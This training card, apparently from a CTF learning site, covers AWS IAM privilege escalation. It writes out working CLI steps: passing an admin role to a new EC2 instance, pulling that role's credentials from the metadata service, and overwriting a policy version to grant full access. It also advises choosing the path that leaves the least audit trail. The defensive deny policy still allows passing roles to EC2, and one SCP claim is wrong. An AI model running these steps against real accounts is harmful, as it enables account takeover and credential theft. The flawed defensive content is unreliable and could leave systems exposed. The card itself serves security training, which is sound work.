Browse CTFs New CTF Sign in

IAM policy misconfig

binary_exploitation Difficulty 1–5 30 min certifiable

Theory

Why This Matters

In 2020, a penetration test of a major financial institution's AWS environment discovered that a developer's IAM user had been granted iam:PassRole and ec2:RunInstances — two permissions intended to allow the team to launch EC2 instances for testing. Within 20 minutes the assessor had attached an AdministratorAccess role to a new EC2 instance, assumed that role via the Instance Metadata Service, and had full read-write access to every S3 bucket, RDS database, and Lambda function in the account. The privilege escalation required zero exploits — only a policy misconfiguration and knowledge of how IAM evaluation works. Rhino Security Labs' 2018 research documented 21 distinct IAM privilege escalation paths; as of 2024, over 40 are known.

Core Concept

AWS IAM evaluates a request by combining five policy types in order. Identity-based policies attach to users, groups, or roles and grant permissions. Resource-based policies attach to resources (S3 buckets, KMS keys, Lambda functions) and can grant cross-account access. Permission boundaries are identity-based policies that set the maximum permissions an identity can ever have, regardless of what identity-based policies say. Service Control Policies (SCPs) in AWS Organizations apply at the organization, OU, or account level and restrict what any principal in that account can do — they are not grants, only limits. Session policies apply to temporary credentials created by sts:AssumeRole.

The effective permissions of a request equal the intersection of all applicable allow policies minus any explicit deny from any policy type. SCPs and permission boundaries never grant permissions — they only restrict. An explicit Deny anywhere always wins over any number of Allow statements.

Wildcard abuse is the most common finding: "Action": "s3:*" grants all 60+ S3 actions including s3:PutBucketPolicy (full takeover of any bucket). "Resource": "*" combined with "Action": "iam:*" grants complete IAM control. The Pacu framework's iam__privesc_scan module systematically checks for all known escalation paths.

The most powerful escalation primitive is iam:PassRole + ec2:RunInstances: an attacker can launch a new EC2 instance with any IAM instance profile role (including AdministratorAccess), then retrieve that role's credentials from the IMDS. Other critical paths: iam:CreatePolicyVersion allows overwriting an existing policy's active version; iam:AttachUserPolicy allows attaching any managed policy to any user; iam:CreateLoginProfile enables console access for programmatic-only users.

Technical Deep-Dive

# Step 1: Enumerate current identity and attached policies
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws iam get-user --query User.UserName --output text)
aws iam list-user-policies --user-name TARGET_USER  # inline policies

# Step 2: Read the policy document to find wildcards
POLICY_ARN="arn:aws:iam::123456789012:policy/DevPolicy"
VERSION=$(aws iam get-policy --policy-arn $POLICY_ARN --query Policy.DefaultVersionId --output text)
aws iam get-policy-version --policy-arn $POLICY_ARN --version-id $VERSION 
  --query PolicyVersion.Document --output json

# Step 3: Simulate what the current identity can do
aws iam simulate-principal-policy 
  --policy-source-arn arn:aws:iam::123456789012:user/dev-user 
  --action-names iam:PassRole ec2:RunInstances iam:CreatePolicyVersion 
  --output json | python3 -m json.tool

# Step 4: Pacu automated escalation scan
# git clone https://github.com/RhinoSecurityLabs/pacu
python3 pacu.py
# Inside Pacu:
# run iam__privesc_scan
# run iam__enum_permissions

# Step 5: Exploit iam:PassRole + ec2:RunInstances
# Find a high-privilege role to pass
aws iam list-roles --query "Roles[?contains(RoleName,'admin') || contains(RoleName,'Admin')].[RoleName,Arn]"

# Launch EC2 with the high-privilege role
aws ec2 run-instances 
  --image-id ami-0abcdef1234567890 
  --instance-type t2.micro 
  --iam-instance-profile Name=AdminInstanceProfile 
  --key-name attacker-key 
  --subnet-id subnet-12345678

# Retrieve credentials from inside the instance via IMDS
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole

# Step 6: Exploit iam:CreatePolicyVersion (overwrite to grant admin)
aws iam create-policy-version 
  --policy-arn arn:aws:iam::123456789012:policy/TargetPolicy 
  --policy-document file://admin-policy.json 
  --set-as-default
# admin-policy.json: {"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}

Security Assessment Methodology

  1. Identify all policies attached to the target identity using aws iam list-attached-user-policies, list-user-policies (inline), and trace group memberships with list-groups-for-user.
  2. Parse policy documents for wildcard actions (*, iam:*, s3:*) and wildcard resources. Flag any policy with "Effect": "Allow" and "Resource": "*" combined with high-impact action prefixes.
  3. Run aws iam simulate-principal-policy against the 21+ known escalation action pairs: iam:PassRole+ec2:RunInstances, iam:CreatePolicyVersion, iam:AttachUserPolicy, iam:CreateAccessKey, iam:UpdateLoginProfile, lambda:CreateFunction+iam:PassRole.
  4. Use Pacu iam__privesc_scan to automate detection of all known escalation paths and iam__enum_permissions to build a complete permission map without requiring iam:SimulatePrincipalPolicy.
  5. Check permission boundaries and SCPs — a permission boundary may restrict even AdministratorAccess. Enumerate with aws iam get-user --query User.PermissionsBoundary and list SCPs with aws organizations list-policies-for-target.
  6. Exploit the highest-impact path foundiam:PassRole+ec2:RunInstances is preferred as it leaves minimal IAM-plane audit trail compared to policy version overwrites.
  7. Verify privilege escalation with aws sts get-caller-identity and aws iam get-user after assuming the new role to confirm the escalated identity.

Defensive Countermeasure — Attach a permission boundary to all developer IAM users and roles that explicitly denies iam:CreatePolicyVersion, iam:AttachUserPolicy, iam:PassRole on "Resource": "*". Specifically: {"Effect": "Deny", "Action": ["iam:PassRole", "iam:AttachUserPolicy", "iam:CreatePolicyVersion", "iam:PutUserPolicy", "iam:CreateAccessKey"], "Resource": "*", "Condition": {"StringNotEquals": {"iam:PassedToService": "ec2.amazonaws.com"}}}. Complement with an SCP at the OU level that denies iam:CreatePolicyVersion with "NotAction" scoping to service-linked roles.

Common Assessment Errors

  • Overlooking inline policieslist-attached-user-policies only returns managed policies. Inline policies from list-user-policies are often more permissive and less monitored because they bypass the managed policy library.
  • Trusting simulate-principal-policy as definitive — simulation does not account for resource-based policies, VPC endpoint policies, or session policies applied to assumed roles. It can return false negatives for cross-account scenarios.
  • Ignoring group memberships — developers are often members of groups whose policies they are unaware of. Always enumerate list-groups-for-user and then enumerate each group's policies.
  • Missing service-linked roles — AWS service-linked roles often have broad permissions and may be passable via iam:PassRole. Enumerate with aws iam list-roles --query "Roles[?RoleType=='Service']".
  • Assuming SCPs block everything — an SCP that denies iam:* still does not override an explicit Allow in a resource-based policy for cross-account access to that resource.
  • Not checking for iam:CreateLoginProfile — this action enables console password login for an IAM user that previously had only programmatic access, providing a pivot to browser-based console sessions.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0053 Knowledge of cloud infrastructure vulnerabilities and attack surfaces Covers the complete IAM policy evaluation order and all five policy types that interact to determine effective permissions
K0167 Knowledge of systems security testing methodologies Trains a structured seven-step escalation methodology from policy enumeration through privilege confirmation
S0073 Skill in using penetration testing tools and techniques against cloud infrastructure Builds proficiency with Pacu iam__privesc_scan, aws iam simulate-principal-policy, and manual policy analysis
T0144 Task: Conduct penetration testing on cloud-hosted systems Directly exercises exploitation of iam:PassRole+ec2:RunInstances and iam:CreatePolicyVersion escalation paths
T0395 Task: Recommend security controls for cloud environments Develops precise permission boundary and SCP remediation recommendations targeting specific escalation primitives

Further Reading

  • "AWS IAM Privilege Escalation Methods" — Rhino Security Labs (Spencer Gietzen, 2018)
  • "Pacu: The AWS Exploitation Framework" — Rhino Security Labs GitHub documentation
  • "IAM Policy Evaluation Logic" — AWS Documentation, IAM User Guide

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.